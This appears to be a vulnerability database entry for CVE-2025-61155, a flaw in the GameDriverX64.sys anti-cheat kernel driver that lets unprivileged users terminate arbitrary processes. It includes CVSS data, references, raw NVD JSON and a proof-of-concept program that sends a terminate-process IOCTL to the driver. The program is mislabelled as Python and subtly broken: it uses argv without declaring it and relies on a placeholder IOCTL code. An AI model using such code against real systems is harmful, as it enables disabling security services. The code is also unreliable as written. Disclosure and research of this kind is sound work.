CVE-2025-61155

Description

The GameDriverX64.sys kernel-mode anti-cheat driver (v7.23.4.7 and earlier) contains an access control vulnerability in one of its IOCTL handlers. A user-mode process can open a handle to the driver device and send specially crafted IOCTL requests. These requests are executed in kernel-mode context without proper authentication or access validation, allowing the attacker to terminate arbitrary processes, including critical system and security services, without requiring administrative privileges.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

GameDriverX64.sys <= v7.23.4.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdio.h>

#define IOCTL_TERMINATE_PROCESS 0x12345678  // Example IOCTL code

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    DWORD targetPID;
    
    // Target process PID to terminate
    targetPID = atoi(argv[1]);
    
    // Open handle to GameDriverX64 driver device
    hDevice = CreateFile(
        "\\\\\\.\\GameDriverX64",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open driver handle. Error: %d\n", GetLastError());
        return 1;
    }
    
    printf("Successfully opened driver handle.\n");
    printf("Attempting to terminate process with PID: %d\n", targetPID);
    
    // Send crafted IOCTL request to terminate arbitrary process
    // No privilege check is performed by the driver
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_TERMINATE_PROCESS,
        &targetPID,
        sizeof(targetPID),
        NULL,
        0,
        &bytesReturned,
        NULL
    );
    
    if (result) {
        printf("IOCTL request sent successfully.\n");
    } else {
        printf("IOCTL request failed. Error: %d\n", GetLastError());
    }
    
    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61155
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61155
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61155/
[4] VulDB https://vuldb.com/cve/CVE-2025-61155
[5] https://github.com/pollotherunner/CVE-2025-61155/blob/main/advisory.md
[6] https://www.hotta.com.tw

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61155", "sourceIdentifier": "[email protected]", "published": "2025-10-28T16:15:39.397", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GameDriverX64.sys kernel-mode anti-cheat driver (v7.23.4.7 and earlier) contains an access control vulnerability in one of its IOCTL handlers. A user-mode process can open a handle to the driver device and send specially crafted IOCTL requests. These requests are executed in kernel-mode context without proper authentication or access validation, allowing the attacker to terminate arbitrary processes, including critical system and security services, without requiring administrative privileges."}, {"lang": "es", "value": "Hotta Studio GameDriverX64.sys 7.23.4.7, un controlador anti-trampas en modo kernel firmado, permite a atacantes locales causar una denegación de servicio al bloquear procesos arbitrarios mediante el envío de solicitudes IOCTL especialmente diseñadas."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/pollotherunner/CVE-2025-61155/blob/main/advisory.md", "source": "[email protected]"}, {"url": "https://www.hotta.com.tw", "source": "[email protected]"}]}}